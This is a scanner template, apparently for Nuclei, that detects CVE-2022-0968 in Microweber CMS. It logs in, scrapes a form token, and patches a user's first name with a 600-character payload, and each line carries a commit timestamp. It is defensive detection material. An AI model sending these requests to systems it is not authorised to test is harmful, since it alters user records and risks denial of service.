2022-07-29 16:59:33 +00:00
id : CVE-2022-0968
2022-07-24 15:41:37 +00:00
info :
2023-04-06 21:11:32 +00:00
name : Microweber <1.2.12 - Integer Overflow
2022-07-24 15:41:37 +00:00
author : amit-jd
2022-08-06 18:17:39 +00:00
severity : medium
2022-07-29 16:59:33 +00:00
description : |
2023-04-06 21:11:32 +00:00
Microweber before 1.2.12 is susceptible to integer overflow. The application allows large characters to insert in the input field 'first & last name,' which can allow an attacker to cause a denial of service via a crafted HTTP request.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability could lead to remote code execution or denial of service.
2023-09-06 11:59:08 +00:00
remediation : First name and last name input should be limited to 50 characters or maximum 100 characters.
2022-07-24 15:41:37 +00:00
reference :
- https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e/
2022-07-29 16:46:05 +00:00
- https://github.com/advisories/GHSA-5fxv-xx5p-g2fv
2022-08-06 18:17:39 +00:00
- https://huntr.dev/bounties/97e36678-11cf-42c6-889c-892d415d9f9e
2023-04-06 21:11:32 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2022-0968
2023-07-11 19:49:27 +00:00
- https://github.com/microweber/microweber/commit/80e39084729a57dfe749626c3b9d35247a14c49e
2022-07-24 15:41:37 +00:00
classification :
2022-08-06 18:17:39 +00:00
cvss-metrics : CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
cvss-score : 5.5
cve-id : CVE-2022-0968
2022-07-24 15:41:37 +00:00
cwe-id : CWE-190
2023-10-14 11:27:55 +00:00
epss-score : 0.00076
2024-01-29 17:11:14 +00:00
epss-percentile : 0.31127
2023-09-06 11:59:08 +00:00
cpe : cpe:2.3:a:microweber:microweber:*:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 3
2023-07-11 19:49:27 +00:00
vendor : microweber
product : microweber
tags : cve,cve2022,overflow,microweber,cms,huntr
2022-07-29 16:59:33 +00:00
variables :
2022-08-02 09:32:01 +00:00
payload : '{{repeat("A", 600)}}'
2022-07-24 15:41:37 +00:00
2023-04-27 04:28:59 +00:00
http :
2022-07-24 15:41:37 +00:00
- raw :
2022-07-27 08:00:19 +00:00
- |
2022-07-24 15:41:37 +00:00
POST /api/user_login HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded
username={{username}}&password={{password}}
2022-07-27 08:00:19 +00:00
- |
2022-07-24 15:41:37 +00:00
GET /admin/view:modules/load_module:users/edit-user:2 HTTP/1.1
Host : {{Hostname}}
2022-07-27 08:00:19 +00:00
- |
2022-07-24 15:41:37 +00:00
POST /api/user/2 HTTP/1.1
Host : {{Hostname}}
Content-Type : application/x-www-form-urlencoded; charset=UTF-8
2022-08-02 09:50:28 +00:00
thumbnail=&id=2&token={{form_token}}&_method=PATCH&username={{user}}&verify_password=&first_name={{payload}}&last_name=test&email={{email}}&phone=&is_admin=0&is_active=1&basic_mode=0&api_key=
2022-07-27 08:12:25 +00:00
2022-07-29 16:59:33 +00:00
matchers :
- type : dsl
dsl :
2022-08-02 09:48:12 +00:00
- contains(body_3,'\"first_name\":\"{{payload}}\"')
2022-07-29 16:59:33 +00:00
- 'status_code_3==200'
2023-06-19 21:10:30 +00:00
- 'contains(header_3,"application/json")'
2022-07-29 16:59:33 +00:00
condition : and
2022-07-24 15:41:37 +00:00
2022-07-29 16:59:33 +00:00
extractors :
2022-07-24 15:41:37 +00:00
- type : regex
name : form_token
group : 1
regex :
- '<input type="hidden" name="token" value="(.*)" autocomplete="off">'
2023-07-11 19:49:27 +00:00
internal : true
part : body
2022-07-24 15:41:37 +00:00
- type : regex
2022-08-02 09:50:28 +00:00
name : user
2022-07-24 15:41:37 +00:00
group : 1
regex :
2022-08-02 10:35:03 +00:00
- '<input type="text" class="form-control" name="username" value="(.*)">'
2023-07-11 19:49:27 +00:00
internal : true
part : body
2022-07-24 15:41:37 +00:00
- type : regex
name : email
group : 1
regex :
2022-07-27 08:09:31 +00:00
- '<input type="email" class="form-control" name="email" value="(.*)">'
2023-07-11 19:49:27 +00:00
internal : true
part : body
2024-01-30 06:46:18 +00:00
# digest: 490a004630440220252749e14282524ed0915b97eaeb2ea9cddc6063156c87293a98fa5922a2ec0f022064c3053cb4621f4573661c913b6a808c655dbb5cd7a9322436dcafca4808aa44:922c64590222798bb761d5b6d8e72950